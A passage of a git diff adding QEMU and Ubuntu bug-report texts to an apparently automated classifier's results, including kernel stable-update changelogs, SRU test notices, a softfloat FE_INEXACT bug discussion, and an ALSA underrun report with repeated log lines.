fix deadlock with memory reclaim during scrub + - btrfs: Remove extent_io_ops::fill_delalloc + - btrfs: Fix error handling in btrfs_cleanup_ordered_extents + - scsi: megaraid_sas: Fix combined reply queue mode detection + - scsi: megaraid_sas: Add check for reset adapter bit + - media: vim2m: only cancel work if it is for right context + - ARC: show_regs: lockdep: re-enable preemption + - ARC: mm: do_page_fault fixes #1: relinquish mmap_sem if signal arrives while + handle_mm_fault + - IB/uverbs: Fix OOPs upon device disassociation + - drm/vblank: Allow dynamic per-crtc max_vblank_count + - drm/i915/ilk: Fix warning when reading emon_status with no output + - mfd: Kconfig: Fix I2C_DESIGNWARE_PLATFORM dependencies + - tpm: Fix some name collisions with drivers/char/tpm.h + - bcache: replace hard coded number with BUCKET_GC_GEN_MAX + - bcache: treat stale && dirty keys as bad keys + - KVM: VMX: Compare only a single byte for VMCS' "launched" in vCPU-run + - iio: adc: exynos-adc: Add S5PV210 variant + - iio: adc: exynos-adc: Use proper number of channels for Exynos4x12 + - drm/nouveau: Don't WARN_ON VCPI allocation failures + - x86/kvmclock: set offset for kvm unstable clock + - powerpc/kvm: Save and restore host AMR/IAMR/UAMOR + - mmc: renesas_sdhi: Fix card initialization failure in high speed mode + - btrfs: scrub: pass fs_info to scrub_setup_ctx + - btrfs: init csum_list before possible free + - PCI: qcom: Don't deassert reset GPIO during probe + - drm: add __user attribute to ptr_to_compat() + - CIFS: Fix error paths in writeback code + - CIFS: Fix leaking locked VFS cache pages in writeback retry + - drm/i915: Handle vm_mmap error during I915_GEM_MMAP ioctl with WC set + - drm/i915: Sanity check mmap length against object size + - IB/mlx5: Reset access mask when looping inside page fault handler + - kvm: mmu: Fix overflow on kvm mmu page limit calculation + - x86/kvm: move kvm_load/put_guest_xcr0 into atomic context + - KVM: x86: Always use 32-bit SMRAM save state for 32-bit kernels + - cifs: Fix lease buffer length error + - ext4: protect journal inode's blocks using block_validity + - dm mpath: fix missing call of path selector type->end_io + - blk-mq: free hw queue's resource in hctx's release handler + - mmc: sdhci-pci: Add support for Intel ICP + - mmc: sdhci-pci: Add support for Intel CML + - dm crypt: move detailed message into debug level + - kvm: Check irqchip mode before assign irqfd + - drm/amdgpu: fix ring test failure issue during s3 in vce 3.0 (V2) + - drm/amdgpu/{uvd,vcn}: fetch ring's read_ptr after alloc + - Btrfs: fix race between block group removal and block group allocation + - cifs: add spinlock for the openFileList to cifsInodeInfo + - IB/hfi1: Avoid hardlockup with flushlist_lock + - apparmor: reset pos on failure to unpack for various functions + - staging: wilc1000: fix error path cleanup in wilc_wlan_initialize() + - scsi: zfcp: fix request object use-after-free in send path causing wrong + traces + - cifs: Properly handle auto disabling of serverino option + - ceph: use ceph_evict_inode to cleanup inode's resource + - KVM: x86: optimize check for valid PAT value + - KVM: VMX: Always signal #GP on WRMSR to MSR_IA32_CR_PAT with bad value + - KVM: VMX: Fix handling of #MC that occurs during VM-Entry + - KVM: VMX: check CPUID before allowing read/write of IA32_XSS + - resource: Include resource end in walk_*() interfaces + - resource: Fix find_next_iomem_res() iteration issue + - resource: fix locking in find_next_iomem_res() + - pstore: Fix double-free in pstore_mkfile() failure path + - dm thin metadata: check if in fail_io mode when setting needs_check + - drm/panel: Add support for Armadeus ST0700 Adapt + - ALSA: hda - Fix intermittent CORB/RIRB stall on Intel chips + - iommu/iova: Remove stale cached32_node + - gpio: don't WARN() on NULL descs if gpiolib is disabled + - i2c: at91: disable TXRDY interrupt after sending data + - i2c: at91: fix clk_offset for sama5d2 + - mm/migrate.c: initialize pud_entry in migrate_vma() + - iio: adc: gyroadc: fix uninitialized return code + - NFSv4: Fix delegation state recovery + - bcache: only clear BTREE_NODE_dirty bit when it is set + - bcache: add comments for mutex_lock(&b->write_lock) + - virtio/s390: fix race on airq_areas[] + - ext4: don't perform block validity checks on the journal inode + - ext4: fix block validity checks for journal inodes using indirect blocks + - ext4: unsigned int compared against zero + - powerpc/tm: Remove msr_tm_active() + + * Bionic update: upstream stable patchset 2019-09-10 (LP: #1843463) + - net: tundra: tsi108: use spin_lock_irqsave instead of spin_lock_irq in IRQ + context + - hv_netvsc: Fix a warning of suspicious RCU usage + - net: tc35815: Explicitly check NET_IP_ALIGN is not zero in tc35815_rx + - Bluetooth: btqca: Add a short delay before downloading the NVM + - ibmveth: Convert multicast list size for little-endian system + - gpio: Fix build error of function redefinition + - drm/mediatek: use correct device to import PRIME buffers + - drm/mediatek: set DMA max segment size + - cxgb4: fix a memory leak bug + - liquidio: add cleanup in octeon_setup_iq() + - net: myri10ge: fix memory leaks + - lan78xx: Fix memory leaks + - vfs: fix page locking deadlocks when deduping files + - cx82310_eth: fix a memory leak bug + - net: kalmia: fix memory leaks + - wimax/i2400m: fix a memory leak bug + - ravb: Fix use-after-free ravb_tstamp_skb + - kprobes: Fix potential deadlock in kprobe_optimizer() + - HID: cp2112: prevent sleeping function called from invalid context + - Input: hyperv-keyboard: Use in-place iterator API in the channel callback + - Tools: hv: kvp: eliminate 'may be used uninitialized' warning + - IB/mlx4: Fix memory leaks + - ceph: fix buffer free while holding i_ceph_lock in __ceph_setxattr() + - ceph: fix buffer free while holding i_ceph_lock in + __ceph_build_xattrs_blob() + - ceph: fix buffer free while holding i_ceph_lock in fill_inode() + - KVM: arm/arm64: Only skip MMIO insn once + - libceph: allow ceph_buffer_put() to receive a NULL ceph_buffer + - spi: bcm2835aux: unifying code between polling and interrupt driven code + - spi: bcm2835aux: remove dangerous uncontrolled read of fifo + - spi: bcm2835aux: fix corruptions for longer spi transfers + - net: fix skb use after free in netpoll + - net_sched: fix a NULL pointer deref in ipt action + - net: stmmac: dwmac-rk: Don't fail if phy regulator is absent + - tcp: inherit timestamp on mtu probe + - tcp: remove empty skb from write queue in error cases + - net: sched: act_sample: fix psample group handling on overwrite + - mld: fix memory leak in mld_del_delrec() + - x86/boot: Preserve boot_params.secure_boot from sanitizing + - tools: bpftool: fix error message (prog -> object) + - scsi: qla2xxx: Fix gnl.l memory leak on adapter init failure + - afs: Fix leak in afs_lookup_cell_rcu() + + * Bionic update: upstream stable patchset 2019-09-09 (LP: #1843338) + - dmaengine: ste_dma40: fix unneeded variable warning + - auxdisplay: panel: need to delete scan_timer when misc_register fails in + panel_attach + - iommu/dma: Handle SG length overflow better + - usb: gadget: composite: Clear "suspended" on reset/disconnect + - usb: gadget: mass_storage: Fix races between fsg_disable and fsg_set_alt + - xen/blkback: fix memory leaks + - i2c: rcar: avoid race when unregistering slave client + - i2c: emev2: avoid race when unregistering slave client + - drm/ast: Fixed reboot test may cause system hanged + - usb: host: fotg2: restart hcd after port reset + - tools: hv: fix KVP and VSS daemons exit code + - watchdog: bcm2835_wdt: Fix module autoload + - drm/bridge: tfp410: fix memleak in get_modes() + - scsi: ufs: Fix RX_TERMINATION_FORCE_ENABLE define value + - drm/tilcdc: Register cpufreq notifier after we have initialized crtc + - ALSA: usb-audio: Fix a stack buffer overflow bug in check_input_term + - ALSA: usb-audio: Fix an OOB bug in parse_audio_mixer_unit + - net/smc: make sure EPOLLOUT is raised + - tcp: make sure EPOLLOUT wont be missed + - mm/zsmalloc.c: fix build when CONFIG_COMPACTION=n + - ALSA: line6: Fix memory leak at line6_init_pcm() error path + - ALSA: seq: Fix potential concurrent access to the deleted pool + - kvm: x86: skip populating logical dest map if apic is not sw enabled + - KVM: x86: Don't update RIP or do single-step on faulting emulation + - x86/apic: Do not initialize LDR and DFR for bigsmp + - ftrace: Fix NULL pointer dereference in t_probe_next() + - ftrace: Check for successful allocation of hash + - ftrace: Check for empty hash and comment the race with registering probes + - usb-storage: Add new JMS567 revision to unusual_devs + - USB: cdc-wdm: fix race between write and disconnect due to flag abuse + - usb: chipidea: udc: don't do hardware access if gadget has stopped + - usb: host: ohci: fix a race condition between shutdown and irq + - usb: host: xhci: rcar: Fix typo in compatible string matching + - USB: storage: ums-realtek: Update module parameter description for + auto_delink_en + - uprobes/x86: Fix detection of 32-bit user mode + - mmc: sdhci-of-at91: add quirk for broken HS200 + - mmc: core: Fix init of SD cards reporting an invalid VDD range + - stm class: Fix a double free of stm_source_device + - intel_th: pci: Add support for another Lewisburg PCH + - intel_th: pci: Add Tiger Lake support + - drm/i915: Don't deballoon unused ggtt drm_mm_node in linux guest + - VMCI: Release resource if the work is already queued + - crypto: ccp - Ignore unconfigured CCP device on suspend/resume + - Revert "cfg80211: fix processing world regdomain when non modular" + - mac80211: fix possible sta leak + - KVM: PPC: Book3S: Fix incorrect guest-to-user-translation error handling + - KVM: arm/arm64: vgic: Fix potential deadlock when ap_list is long + - KVM: arm/arm64: vgic-v2: Handle SGI bits in GICD_I{S,C}PENDR0 as WI + - NFS: Clean up list moves of struct nfs_page + - NFSv4/pnfs: Fix a page lock leak in nfs_pageio_resend() + - NFS: Pass error information to the pgio error cleanup routine + - NFS: Ensure O_DIRECT reports an error if the bytes read/written is 0 + - i2c: piix4: Fix port selection for AMD Family 16h Model 30h + - x86/ptrace: fix up botched merge of spectrev1 fix + - Revert "ASoC: Fail card instantiation if DAI format setup fails" + - nvme-multipath: revalidate nvme_ns_head gendisk in nvme_validate_ns + - afs: Fix the CB.ProbeUuid service handler to reply correctly + - dmaengine: stm32-mdma: Fix a possible null-pointer dereference in + stm32_mdma_irq_handler() + - omap-dma/omap_vout_vrfb: fix off-by-one fi value + - arm64: cpufeature: Don't treat granule sizes as strict + - tools: hv: fixed Python pep8/flake8 warnings for lsvmbus + - ipv4/icmp: fix rt dst dev null pointer dereference + - ALSA: hda - Fixes inverted Conexant GPIO mic mute led + - usb: hcd: use managed device resources + - lib: logic_pio: Fix RCU usage + - lib: logic_pio: Avoid possible overlap for unregistering regions + - lib: logic_pio: Add logic_pio_unregister_range() + - drm/amdgpu: Add APTX quirk for Dell Latitude 5495 + - drm/i915: Call dma_set_max_seg_size() in i915_driver_hw_probe() + - bus: hisi_lpc: Unregister logical PIO range to avoid potential use-after- + free + + * New ID in ums-realtek module breaks cardreader (LP: #1838886) // Bionic + update: upstream stable patchset 2019-09-09 (LP: #1843338) + - USB: storage: ums-realtek: Whitelist auto-delink support + + * TC filters are broken on Mellanox after upstream stable updates + (LP: #1842502) + - net/mlx5e: Remove redundant vport context vlan update + - net/mlx5e: Properly order min inline mode setup while parsing TC matches + - net/mlx5e: Get the required HW match level while parsing TC flow matches + - net/mlx5e: Always use the match level enum when parsing TC rule match + - net/mlx5e: Don't match on vlan non-existence if ethertype is wildcarded + + -- Khalid Elmously <email address hidden> Mon, 30 Sep 2019 23:02:24 -0400 + +Uploaded the Disco version along the upload to Bionic for SRU Team review and acceptance into proposed. + +All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. +The following regressions have been reported in tests triggered by the package: + +fsprotect/unknown (armhf) + + +Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. + +https://people.canonical.com/~ubuntu-archive/proposed-migration/bionic/update_excuses.html#linux-bluefield + +[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions + +Thank you! + + +All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. +The following regressions have been reported in tests triggered by the package: + +fsprotect/unknown (armhf) + + +Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. + +https://people.canonical.com/~ubuntu-archive/proposed-migration/bionic/update_excuses.html#linux-bluefield + +[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions + +Thank you! + + +------- Comment From <email address hidden> 2019-11-04 11:27 EDT------- +*** Bug 181316 has been marked as a duplicate of this bug. *** + +All autopkgtests for the newly accepted linux-gcp-5.3 (5.3.0-1008.9~18.04.1) for bionic have finished running. +The following regressions have been reported in tests triggered by the package: + +linux-gcp-5.3/unknown (amd64) + + +Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. + +https://people.canonical.com/~ubuntu-archive/proposed-migration/bionic/update_excuses.html#linux-gcp-5.3 + +[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions + +Thank you! + + +This got surpassed by a security upload while waiting for SRU Team. +I have uploaded rebased versions to -unapproved. + +Hello bugproxy, or anyone else affected, + +Accepted qemu into disco-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/qemu/1:3.1+dfsg-2ubuntu3.7 in a few hours, and then in the -proposed repository. + +Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. + +If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested and change the tag from verification-needed-disco to verification-done-disco. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed-disco. In either case, without details of your testing we will not be able to proceed. + +Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! + +N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. + +Hello bugproxy, or anyone else affected, + +Accepted qemu into bionic-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/qemu/1:2.11+dfsg-1ubuntu7.21 in a few hours, and then in the -proposed repository. + +Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. + +If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested and change the tag from verification-needed-bionic to verification-done-bionic. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed-bionic. In either case, without details of your testing we will not be able to proceed. + +Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! + +N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. + +All autopkgtests for the newly accepted qemu (1:2.11+dfsg-1ubuntu7.21) for bionic have finished running. +The following regressions have been reported in tests triggered by the package: + +vagrant-mutate/1.2.0-3 (armhf) +systemd/237-3ubuntu10.31 (i386) + + +Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. + +https://people.canonical.com/~ubuntu-archive/proposed-migration/bionic/update_excuses.html#qemu + +[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions + +Thank you! + + +------- Comment From <email address hidden> 2019-11-22 09:45 EDT------- +bionic-proposed looks good. + +All autopkgtests for the newly accepted qemu (1:3.1+dfsg-2ubuntu3.7) for disco have finished running. +The following regressions have been reported in tests triggered by the package: + +cinder/2:14.0.1-0ubuntu1 (amd64, s390x, i386, armhf, arm64, ppc64el) +systemd/240-6ubuntu5.7 (amd64) +nova/2:19.0.1-0ubuntu2.1 (armhf) +ubuntu-image/1.7+19.04ubuntu1 (s390x) + + +Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. + +https://people.canonical.com/~ubuntu-archive/proposed-migration/disco/update_excuses.html#qemu + +[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions + +Thank you! + + +------- Comment From <email address hidden> 2019-11-22 11:44 EDT------- +disco is also good. + +The verification of the Stable Release Update for qemu has completed successfully and the package is now being released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. + +This bug was fixed in the package qemu - 1:2.11+dfsg-1ubuntu7.21 + +--------------- +qemu (1:2.11+dfsg-1ubuntu7.21) bionic; urgency=medium + + * d/p/lp-1842774-s390x-cpumodel-Add-the-z15-name-to-the-description-o.patch: + update the z15 model name (LP: #1842774) + * d/p/u/lp-1847948-*: allow MSIX BAR mapping on VFIO in general and use that + instead of emulation on ppc64 increasing performance of e.g. NVME + passthrough (LP: #1847948) + + -- Christian Ehrhardt <email address hidden> Tue, 15 Oct 2019 11:23:23 +0200 + +This bug was fixed in the package qemu - 1:3.1+dfsg-2ubuntu3.7 + +--------------- +qemu (1:3.1+dfsg-2ubuntu3.7) disco; urgency=medium + + * d/p/lp-1842774-s390x-cpumodel-Add-the-z15-name-to-the-description-o.patch: + update the z15 model name (LP: #1842774) + + -- Christian Ehrhardt <email address hidden> Tue, 15 Oct 2019 11:37:44 +0200 + +------- Comment From <email address hidden> 2019-12-09 06:53 EDT------- +IBM Bugzilla status -> closed, Fix Released with all requested distros + diff --git a/results/classifier/deepseek-1/output/emulation./1841442 b/results/classifier/deepseek-1/output/emulation./1841442 new file mode 100644 index 00000000..75761aa0 --- /dev/null +++ b/results/classifier/deepseek-1/output/emulation./1841442 @@ -0,0 +1,140 @@ + +floating point emulation can fail to set FE_INEXACT + +Floating point emulation can fail to set FE_INEXACT in some circumstances. This shows up quite often in glibc's "math" tests. A similar test is attached. + +On ppc64le native: +-- +$ gcc nextafter.c -o nextafter -lm +$ ./nextafter $(./nextafter) +0x0000000000000001 0.000000 +0x0 + +0xa000000 +FE_INEXACT FE_UNDERFLOW +0x0000000000000000 0.000000 +-- + +On x86_64: +-- +$ gcc nextafter.c -o nextafter -lm +$ ./nextafter $(./nextafter) +0x0000000000000001 0.000000 +0x0 + +0x30 +FE_INEXACT FE_UNDERFLOW +0x0000000000000000 0.000000 +-- + +Using qemu-system-ppc64 +-- +$ ./nextafter $(./nextafter) +0x0000000000000001 0.000000 +0x0 + +0x8000000 +FE_UNDERFLOW +0x0000000000000000 0.000000 +-- + +Using qemu-x86_64: +-- +$ ./nextafter $(./nextafter) +0x0000000000000001 0.000000 +0x0 + +0x0 + +0x0000000000000000 0.000000 +-- + +QEMU versions vary, but not too much, and are pretty close to git HEAD: +- 586f3dced9 (HEAD -> master, origin/master, origin/HEAD) Merge remote-tracking branch 'remotes/cohuck/tags/s390x-20190822' into staging +- 864ab31 Update version for v4.1.0-rc4 release + +Since the issue happens nearly identically on different targets, I suspect the issue lies somewhere in fpu/softfloat.c. + + + +Well, maybe yes and maybe no. What you've done is choose two targets +whose floating point emulation have not been well maintained. + +If I try this same test on aarch64, it passes: + +$ ~/a.out 0x0000000000000001 +0x0000000000000001 0.000000 +0x0 + +0x18 +FE_INEXACT FE_UNDERFLOW +0x0000000000000000 0.000000 + +$ ./aarch64-linux-user/qemu-aarch64 ~/a.out 0x0000000000000001 +0x0000000000000001 0.000000 +0x0 + +0x18 +FE_INEXACT FE_UNDERFLOW +0x0000000000000000 0.000000 + + +Interesting. Did you run qemu-aarch64 on aarch64? If so, it may have been using "hardfloat". I ran "qemu-system-ppc64" on x86_64 and "qemu-x86_64" on ppc64le to ensure I was using "softfloat". + + +Richard Henderson <email address hidden> writes: + +> Well, maybe yes and maybe no. What you've done is choose two targets +> whose floating point emulation have not been well maintained. + +So this is a failure on the x86_64 and ppc64 frontends to correctly set +the softfloat modes when their appropriate registers are set? + +> +> If I try this same test on aarch64, it passes: +> +> $ ~/a.out 0x0000000000000001 +> 0x0000000000000001 0.000000 +> 0x0 +> +> 0x18 +> FE_INEXACT FE_UNDERFLOW +> 0x0000000000000000 0.000000 +> +> $ ./aarch64-linux-user/qemu-aarch64 ~/a.out 0x0000000000000001 +> 0x0000000000000001 0.000000 +> 0x0 +> +> 0x18 +> FE_INEXACT FE_UNDERFLOW +> 0x0000000000000000 0.000000 + + +-- +Alex Bennée + + +> Interesting. Did you run qemu-aarch64 on aarch64? If so, it may have been +> using "hardfloat". I ran "qemu-system-ppc64" on x86_64 and "qemu-x86_64" +> on ppc64le to ensure I was using "softfloat". + +That's not how that works. Indeed, the point of the hardfloat path is to +accelerate fpu emulation for a non-native guest. + +That said, qemu-system-ppc64 will *never* use hardfloat, because ppc always +need the current and correct result of inexact for emulation of the FI bit, +which requires that we use the softfloat path. + +Also, use of the hardfloat path requires normal inputs. For this test case +we're passing the minimum denormal input: 0x0000_0000_0000_0001. So we will +always use the softfloat path for this. + + +Patch for ppc: +https://lists.gnu.org/archive/html/qemu-devel/2019-08/msg05532.html + +Fixing x86_64 is significantly harder, as support for fp exceptions +is completely lacking in the code currently. + +Fixed by 16ce2fffa660 ("target/ppc: Fix do_float_check_status vs inexact") + diff --git a/results/classifier/deepseek-1/output/encountered./1255303 b/results/classifier/deepseek-1/output/encountered./1255303 new file mode 100644 index 00000000..5c64f4ed --- /dev/null +++ b/results/classifier/deepseek-1/output/encountered./1255303 @@ -0,0 +1,399 @@ + +ALSA underruns occurr when using QEMU + +I'm running QEMU 1.6.1 on a 64-bit Gentoo Linux system. The guest operating system is Windows 7 32-bit. I get multiple identical warning messages when using the ac97 or hda sound cards: + +> ALSA lib /var/tmp/portage/media-libs/alsa-lib-1.0.27.2/work/alsa-lib-1.0.27.2/src/pcm/pcm.c:7843:(snd_pcm_recover) underrun occurred + +The difference between ac97 and hda is that the former works well, while the latter causes the sound to be garbled. + +/var/tmp/portage is the directory where Portage, the Gentoo package manager, builds programs. I don't know why it is mentioned in the error message. + +I also don't know if this is an ALSA problem or a QEMU problem. + +The command I use is: + +> qemu-system-i386 -cpu host -m 1G -k it -drive file=~/QEMU/Windows_7_Privato.qcow2,media=disk,index=0 -vga std -net nic -net user -enable-kvm -display sdl -soundhw ac97 -device usb-ehci,id=ehci -usb -rtc base=localtime -usbdevice tablet + +My real sound card is an Intel HD Audio: + +> lspci | grep "Audio device" + +> 00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 02) + +Please tell me if you need other informations. + +QEmu is more or less unusable here because of this: + +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred +ALSA lib 